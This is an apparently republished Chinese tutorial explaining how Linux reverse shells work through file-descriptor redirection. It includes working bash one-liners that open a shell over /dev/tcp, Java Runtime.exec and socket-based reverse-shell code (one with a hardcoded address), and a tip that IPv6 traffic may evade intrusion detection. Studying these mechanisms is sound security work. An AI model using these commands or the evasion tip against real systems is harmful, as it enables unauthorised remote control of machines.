内容简介:最近一直在看反弹shell,网上也有大量地一句话反弹shell,如最常见的反弹shell的写法是:在讲解具体的反弹shell的原理时,我们首先必须要了解Linux中文件描述符和重定向这两个概念。
最近一直在看反弹shell,网上也有大量地一句话反弹shell,如 各种环境下反弹 shell 的方法 , linux各种一句话反弹shell总结 。但是鲜有文章讲明这些反弹shell的原理。即使有文章讲,但是感觉也没有讲清楚。这个问题也一直困扰了很久,通过自己查阅资料,问朋友,做实验,最终才将这个问题差不多搞懂了。如果文章中有不对的地方也欢迎各位师傅来交流。
反弹shell举例
最常见的反弹shell的写法是:
bash -i >& /dev/tcp/ip/port 0>&1
在讲解具体的反弹shell的原理时,我们首先必须要了解 Linux 中文件描述符和重定向这两个概念。
文件描述符&重定向
首先需要知道在Linux中一些基本的尝试,如文件描述符(File Descriptor,fd)。在Linux中有如下的定义:
- 文件描述符0 表示标准输入
- 文件描述符1 表示标准输出
- 文件描述符2 表示标准错误
所以在一般情况下,文件描述符表的指向如下:
在Linux中, > 表示重定向的含义。表示将一个命令的输出输入重定向到另外一个地方。比如我们使用 ls -all > tmp.txt ,就是表示我们将 ls -all 的结果不是直接在terminal上面输出,而是写入到 tmp.txt 文件中。
其实在Linux下本质的原因是,命令 command > file 就等价于 command 1>file 。由于1表示的是标准输出。由于出现了 1>file ,所以文件描述符表就会发生变化。此时变为了:
Bash会打开文件file,然后将文件描述符1的指针指向file。所以所有的输出是写入到文件描述1,由于现在文件描述符1已经指向了file,所有所有的输出全部都会写入到文件中。这也就是为什么当我们使用类似于 ls -all > tmp.txt 时, ls -all 的结果会全部写入到 tmp.txt 中。
这个只是一些最基本的情况。我们在反弹shell中可能最常见的命令是 >& 或者 &> 。我们进一步进行说明。命令 command &>file (也等同于 command >&file ,此后这种情况将不再作说明)。这个 &> 就是将 command 命令的输出和错误全部重定向到 file 中,这是一种快速简单的重定向的写法。所以执行 command >&file 之后,文件描述符变为了:
其实 command >&file 这种写法也等价于 command >file 2>&1 。(其中 2>&1 表示的就是将文件描述符2重定向到文件描述符1)。下图展示了这个文件描述表的变化过程。
需要注意的是,在Linux中文件的重定向的顺序是非常重要的。上述的 command >file 2>&1 和 command 2>&1 >file 执行得到的结果是完全不一样的。下图展示的是 command 2>&1 >file 的文件描述符的变化过程。
通过文件描述符的最终状态就可以看出来,最终执行完毕 command 2>&1 >file ,只有文件描述符1指向的是 file 。这样的情况和 command >file 2>&1 是完全不一定的。
更多地关于文件描述符的详情可以参考文章 Bash One-Liners Explained, Part III: All about redirections
特殊情况
在上一节中讲到的文件描述符0、1、2d都是系统默认的文件描述符,所以3之后的数字我们都可以自行使用。以下就用一个简单的例子来说明:
-
echo "123456">test.txt是创建一个test.txt,文件内容是123456 -
exec 3<test.txt,创建文件描述符3,并将文件描述符3指向test.txt -
grep "1" < &3,此时文件描述符3充当了文件描述符1的功能,作为了grep命令的输入,最终查询得到了结果
但是还有一类比较特殊的文件重定向用法 <> ,表示同时对文件进行读写操作。示例如下:
echo "456789">test2.txt exec 5<> test2.txt read -n 3 var <&5 echo $var
反弹shell分析
上一节的两种方式都是可以用作反弹shell的,分别是 bash -i >& /dev/tcp/ip/port 0>&1 这种方式以及 bash -i 5<>/dev/tcp/host/port 0>&5 1>&5 方式。这两种方式的原理其实都是类似,下面对其进行简要的分析。
方式一
bash -i >& /dev/tcp/ip/port 0>&1
-
bash -i创建一个交互式的bash进程 -
/dev/tcp/ip/port,linux中所有的程序都是以文件的形式存在。这句话的意思与ip:port建立了一个TCP连接。 -
>&command >&file这种写法也等价于command >file 2>&1。(其中2>&1表示的就是将文件描述符2重定向到文件描述符1) -
0>&1将标准输入重定向到标准输出。
下图说明了上述命令的文件描述符的变化过程。
通过整个变化过程,我们就可以很清晰地看到最终是完成了反弹shell。
方式二
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
同理,我们按照上述的分析方法对这个反弹shell进行分析。
-
5<>/dev/tcp/host/port,以读写的方式打开/dev/tcp/host/port,并将文件描述符5重定向到/dev/tcp/host/port -
0>&5,将文件描述符0(标准输入)重定向至文件描述符5 -
1>&5,将文件描述符1(标准输出)重定向至文件描述符5
下图说明了上述命令的文件描述符的变化过程。
最终的效果就是文件描述符0(标准输入)和文件描述1(标准输出)全部都重定向到 /dev/tcp/host/port ,从而就完成了反弹shell。
方式三
exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line >&5; done
-
exec 5<>/dev/tcp/ip/port,以读写的方式打开/dev/tcp/ip/port,并将文件描述符5重定向到/dev/tcp/ip/port -
cat <&5,将文件描述符5的重定向到cat中,即cat读取到&5的内容。结合1就是cat会读取/dev/tcp/ip/port中shell的输入内容。 -
|,管道符。将cat读取的结果作为后面的输入; -
while read line; do $line >&5; done,拆开看。while do done是shell中while的规定语法。其中read line;表示的就是会循环读取cat <&5的内容,赋值到line变量中,之后$line会执行line语句中的命令,最后>&5,表示将当前bash的输出和错误重定向至文件描述符5中,即/dev/tcp/ip/port。
下图说明了上述命令的文件描述符的变化过程。
相信通过上面的三个例子应该对不同形式下的反弹shell有个清新地认识,至于不同版本或者是不同语言的反弹shell其实都是上面的变形而已。
写完之后才发现在先知上已经有两篇很详细地文章了, Linux反弹shell(一)文件描述符与重定向 、 Linux 反弹shell(二)反弹shell的本质 。
java反弹shell
常见方式
说到Java发弹shell,网上所有的java反弹shell使用的都是:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
首先 ["a","b","c] as String[] 这种写法没有见过,至少我在jdk1.8上面测试是失败的,正常的写法应该是 new String[]{"a","b","c"} 这种写法。那么上述的写法就变为:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
可以发现能够成功地反弹shell。
举一反三,既然上述的这种可以,那么下面这种也同样可以:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
p.waitFor();
通过分析,其实上面的这两种反弹shell的命令非常容易理解。 /bin/bash 是需要运行的程序。而 -c 和 bash -i >& /dev/tcp/ip/port 0>&1 都是作为 /bin/bash 的参数,我们都知道 bash -c "cmd string" ,就是使用shell去运行 cmd string 字符串,所以上述的命令就是利用shell运行 bash -i >& /dev/tcp/ip/port 0>&1 ,这就和直接在bash中输入 bash -i >& /dev/tcp/ip/port 0>&1 的效果是一样的。
当然像这样的例子还能够写很多。
特殊方式
上面说的反弹shell的方式其实还是利用常见的 bash 反弹shell的原理。既然在java中也存在 socket ,那么我们就可以直接利用Java中的socket建立连接进行反弹shell。如下:
String host=host;
int port=port;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
我们直接通过 Socket s=new Socket(host,port); 这种方式,按照 https://docs.oracle.com/javase/7/docs/technotes/guides/net/ipv6_guide/ 的说明:
You can run the same bytecode for this example in IPv6 mode if both your local host machine and the destination machine (taranis) are IPv6-enabled.
即如果目标机器和本地机器都支持IPv6,则使用IPv6。在本地实际测试的结果也是如此:
这种特性有什用呢?其实很多NIDS考虑到目前大部分的网络行为都是IPv4的,所以基本都是检测的IPv4的地址,也就是说IPv6的通信流量有一定的概率能够绕过NIDS的检测。
参考
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 红队渗透测试之使用 OpenSSL 反弹加密 shell
- powershell反弹shell常见方式
- 渗透测试之反弹shell命令分析
- DELPHI黑客编程(二):反弹后门原理实现
- 照弹不误:出站端口受限环境下反弹Shell的思考
- Metaspolit下配合Ngrok同时实现内网反弹+转发
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Art of Computer Programming, Volumes 1-3 Boxed Set
Donald E. Knuth / Addison-Wesley Professional / 1998-10-15 / USD 199.99
This multivolume work is widely recognized as the definitive description of classical computer science. The first three volumes have for decades been an invaluable resource in programming theory and p......一起来看看 《The Art of Computer Programming, Volumes 1-3 Boxed Set》 这本书的介绍吧!